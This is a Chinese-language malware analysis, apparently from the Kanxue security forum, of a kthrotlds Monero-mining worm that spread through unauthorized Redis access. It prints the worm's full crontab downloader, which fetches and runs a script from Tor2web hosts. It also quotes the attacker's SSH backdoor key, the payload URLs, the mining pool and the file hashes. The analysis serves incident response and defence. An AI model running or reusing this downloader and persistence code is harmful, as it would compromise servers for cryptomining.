记一起 kthroltlds 挖矿蠕虫变种分析
2019-10-19 18:59:00 Author: mp.weixin.qq.com(查看原文) 阅读量:84 收藏


本文为看雪论坛优秀文章

看雪论坛作者ID:jishuzhain 

最近遇到的一次后门事件,通过分析发现是一起挖矿蠕虫。通过查询CentOS计划任务crontab,发现以下计划任务。

已手工重新格式化如下:
*/1 * * * * (tbin=$(command -v passwd); bpath=$(dirname "${tbin}");
curl="curl";
if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ];
then curl="echo";
if [ "${bpath}" != "" ];
then for f in ${bpath}*;
do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break;
done;
fi;
fi;
wget="wget";
if [ $(wget --version 2>/dev/null|grep "wgetrc " |wc -l) -eq 0 ];
then wget="echo";
if [ "${bpath}" != "" ];
then for f in ${bpath}*;
do strings $f 2>/dev/null|grep -q "to <[email protected]>" && wget="$f" && break;
done;
fi;
fi;
if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ];
then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1;
fi;
${curl} -fsSLk --max-time 40 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o ~/.ntp||
${curl} -fsSLk --max-time 40 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o ~/.ntp||
${curl} -fsSLk --max-time 40 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o ~/.ntp||
wget --quiet --no-check-certificate --timeout=40 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o ~/.ntp||
wget --quiet --no-check-certificate --timeout=40 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O ~/.ntp||
wget --quiet --no-check-certificate --timeout=40 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O ~/.ntp||
wget --quiet --no-check-certificate --timeout=40 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O ~/.ntp) && chmod +x ~/.ntp && sh ~/.ntp
Linux平台日常查询计划任务时,发现了如上一大串的命令,非常可疑。经关键字搜索,发现可以判断为最近的kthroltlds挖矿病毒。
链接如下:
What is Linux process "kthrotlds" and how do I kill or reduce its CPU impact? : linuxquestions
https://www.reddit.com/r/linuxquestions/comments/bpe9am/what_is_linux_process_kthrotlds_and_how_do_i_kill/
初步看这段shell脚本,发现最后出现的wget请求了一些公网地址,最后还修改了文件权限,之后启动了这个脚本,非常明显的恶意行为。
搜索了下这些域名中的Tor2web,发现这是一个软件项目,允许从标准浏览器访问Tor隐藏服务,而无需连接到Tor网络。
这里可以发现这些站点为攻击者转发到相应的Tor onion站点,通过中间人转发代理,可以使用标准浏览器进行访问,作用是隐藏攻击者的信息。
该脚本这里的作用为下载器,下载后续的恶意代码并执行。
接着看,最后wget下载了一个shell脚本,下载下来后,VT检测如下:
VT检测结果:
https://www.virustotal.com/gui/file/7e77257f92a0e912b37b7c5556bfb448a6aa6d6d951f498ad58db57db2ae6a16/detection
样本很新,发生在最近1个月内。
ldm脚本
MD5:529aa9ae456963bf203300fbd5b4e4f5
SHA-1:a2ca3481cd295bc2664587ac6a7804b5123dc3c1
SHA-256:7e77257f92a0e912b37b7c5556bfb448a6aa6d6d951f498ad58db57db2ae6a16
该样本第一次提交时间为2019-07-03 21:02:26 UTC
下面对该ldm脚本进行分析:
一开始就是三个Tor转发代理站点,将这些信息拼接后,会得到三个实际的请求地址,循环对三个地址请求,来得到一个最终有效的地址,不过目前这个是隐藏的地址,无法追踪到来源。 
使用nohup命令,便于在后台运行脚本。 
在指定的目录下生成一些随机文件名的文件,出现两个计划任务配置,与之前的下载器的配置类似,方便后续对下载的脚本更新。
也是就是下载器下载完成后,就会执行之前随机文件名的脚本,接着使用ps aux命令查找是否有其他的挖矿进程与行为
"kworkerds\|56416\|xmr\|xig\|ddgs\|minerd\|hashvault\|geqn\|.kthreadd\|httpdz\|kworker\|config.json\|gwjyhs.com\|pastebin.com\|sobot.com\|kerbero
如果存在就杀死这些进程,接着通过访问ipinfo.io/ip得到当前机器的IP地址,将系统已经存在的任务计划目录,进行删除。
相关的路径如下:
/var/spool/cron/crontabs/*
/var/spool/cron/crontabs/.*
/var/spool/cron/*
/var/spool/cron/.*
/etc/cron.d/*
/etc/cron.d/.*
/etc/cron.hourly/*
/etc/cron.hourly/.*
/etc/cron.daily/*
/etc/cron.daily/.*
之后判断系统为哪个Linux发行版,使用相应系统的包管理工具来安装软件,这里是根据目录,使用不同的文件目录来创建任务计划。 
该脚本下载了busybox的rm,crond和crontab。 
crontab计划任务配置完成后,接着就开始对受害机器进行ssh配置,配置ssh免密登陆,具体配置可以查截图里具体命令。
skey="ssh-rsa  AAAAB3NzaC1yc2EAAAADAQABAAABAQC1Sdr0tIIL8yPhKTLzVMnRKj1zzGqtR4tKpM2bfBEx+AHyvBL8jDZDJ6fuVwEB+aZ8bl/pA5qhFWRRWhONLnLN9RWFx/880msXITwOXjCT3Qa6VpAFPPMazJpbppIg+LTkbOEjdDHvdZ8RhEt7tTXc2DoTDcs73EeepZbJmDFP8TCY7hwgLi0XcG8YHkDFoKFUhvSHPkzAsQd9hyOWaI1taLX2VZHAk8rOaYqaRG3URWH3hZvk8Hcgggm2q/IQQa9VLlX4cSM4SifM/ZNbLYAJhH1x3ZgscliZVmjB55wZWRL5oOZztOKJT2oczUuhDHM1qoUJjnxopqtZ5DrA76WH user@localhost"
进行后续操作前,先删除以下目录,确保不影响后续运行(因为运行完毕后也会生成这些目录)。 
最后会去访问并下载下一个恶意脚本名字为main,该地址 https://an7kmd2wp4xo7hpr.d2web.org/src/main 可下载到main脚本。
main脚本分析
原始main文件样本
MD5:72c2ac79465ac780dc61e5dbea4caa00
SHA-1:7090a84dbbefbc65ef3026856e826301d9aa4992
SHA-256:6aef5bb7a15db0982fdf39147a514c4a75d4eb6587ea476f34c647e2bedc5230
https://www.virustotal.com/gui/file/6aef5bb7a15db0982fdf39147a514c4a75d4eb6587ea476f34c647e2bedc5230/detection
main脚本base64解码后的样本
MD5:d1eaec979e57c6b4cb19e58383284256
SHA-1:f67476fdb38aeb0d512757b837216994b7705bae
SHA-256:7112ae92d7b03f0a280616d076b692889b0b05a0a75559623df6acdf07255700
https://www.virustotal.com/gui/file/7112ae92d7b03f0a280616d076b692889b0b05a0a75559623df6acdf07255700/detection
解码后的脚本如下:
大致浏览一遍整个脚本,发现函数a是一个针对阿里云与腾讯云检测的功能函数,说明黑客对国内的云主机环境的安全机制很熟悉,该蠕虫病毒可能是变种样本。 
这个函数的作用主要是卸载掉这些云主机自带的防护,接着看函数e里使用python进行了base64解码,将内容解码后如下: 
访问如下链接,下载对应的数据解码后执行。
https://an7kmd2wp4xo7hpr.tor2web.su/src/sc
得到下载的Python脚本sc:
发现是执行端口扫描功能,再具体看看内部实现的功能。
这里可以看出,除了内网IP地址外,其余IP都会进行端口6379扫描,看看是否存在redis未授权访问,这里的话表示这个脚本存在蠕虫功能,同时redis存在未授权就设置相关的计划任务,进一步扩散。
同样的,main脚本里发现又下载了ioc文件(图标文件),目前不知道具体作用,先放一边,接下来这里是判断系统位数来下载对应的文件。
列举一个下载图标文件的地址:
wget https://an7kmd2wp4xo7hpr.tor2web.su/images/ico/r64x75.ico --no-check-certificate
https://an7kmd2wp4xo7hpr.tor2web.su/images/ico/r64x75.ico
if [[ -f /sbin/apk ]]; then Pref="a"; elif [[ $(echo "${ARCH}"|grep 'Alpine'|wc -l) -eq 0 ]]; then Pref="r"; else Pref="a"; fi
 
RBIN1="${Pref}64x75"
RBIN2="${Pref}32x75"
RPATH2="images/ico/${RBIN1}.ico"
RPATH3="images/ico/${RBIN2}.ico"
通过第一行命令选择不同的前缀是a或r,具体取决于脚本检测到的操作系统版本。64x75代表系统是64位,反之32x75就是32位。
现在对下载到本地的ico文件进行分析,file命令识别为图标文件。
查看十六进制内容,发现文件头存在,所以能识别为一个图标文件。 
桌面环境能显示为一个github图标logo:

找隐藏文件这里的话靠经验,因为下载的文件不可能是一个正常的图标文件,不然下载了无任何作用,所以得寻找下是否存在常用的文件头标志,这里的话在偏移0xFBC处存在zip文件头,所以这里隐藏了一个zip压缩文件。 
对其解压,需要输入密码。
main脚本里可以找到解压密码:no-password,解压成功。

解压后的文件为ELF格式文件:
使用strings命令获取字符串,发现了UPX痕迹。 

使用工具对其脱壳如下:
https://github.com/upx/upx/releases/download/v3.95/upx-3.95-amd64_linux.tar.xz
获取的ELF文件,上传VT检测。
r64x75_unpacked
MD5:707af0460ce6fa6406eb4068310cdd27
SHA-1:f06f6782a51d62dd889edfba26b68adc3fd6a70c
SHA-256:3915278cbd11c4919b208c8569e624a8f4cf058100b22c494e929fb75a752da4
https://www.virustotal.com/gui/file/3915278cbd11c4919b208c8569e624a8f4cf058100b22c494e929fb75a752da4/detection
显示为挖矿行为,查字符串,发现门罗币(xmr)痕迹。
静态分析时发现使用了 RandomX and CryptoNight CPU miner项目,项目地址:https://github.com/xmrig/xmrig。
直接通过仔细查找,发现了攻击者的矿池与收币地址。微步在线,2019年6月18日的检测记录存在解析了两个IP地址。
历史IP:
目前该域名无法解析:

行为分析发现存在DNS查询,但截止到此次分析时已失效,挖矿程序会存在矿池等配置信息,但由于存在匿名性,这里就不再分析了。

蠕虫执行流程图如下:

domains:
An7kmd2wp4xo7hpr.tor2web.su
An7kmd2wp4xo7hpr.tor2web.io
an7kmd2wp4xo7hpr.onion.sh
Mine pool:
timesync.su:443
198.50.211.195:443
此次事件,最根本的原因是redis未授权访问导致后续被入侵写入后门,执行挖矿。所以在使用主机时,需要配置好相关的安全访问,比如iptables,使用的相关服务需要对其进行安全设置,修复漏洞,及时更新服务器相关组件与程序。
参考:
https://www.reddit.com/r/linuxquestions/comments/bpe9am/what_is_linux_process_kthrotlds_and_how_do_i_kill/
https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability
- End -

看雪ID:jishuzhain 

https://bbs.pediy.com/user-678001.htm 

*本文由看雪论坛  jishuzhain 原创,转载请注明来自看雪社区

推荐文章++++

AFL afl_fuzz.c 详细分析

小白的CVE-2010-0249——极光行动漏洞分析

一款二代壳的脱壳成长之路

手动打造应用层钩子扫描

跨平台模拟执行 - AndroidNativeEmu实用手册 

进阶安全圈,不得不读的一本书

“阅读原文”一起来充电吧!

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458300072&amp;idx=1&amp;sn=d48170805c77b5d1b5b3c7e700e1120b&amp;chksm=b1819e2286f617340fdb451d3b3e923c79cd6536d8b75d41f25890defec38d0e05be72987870#rd
如有侵权请联系:admin#unsafe.sh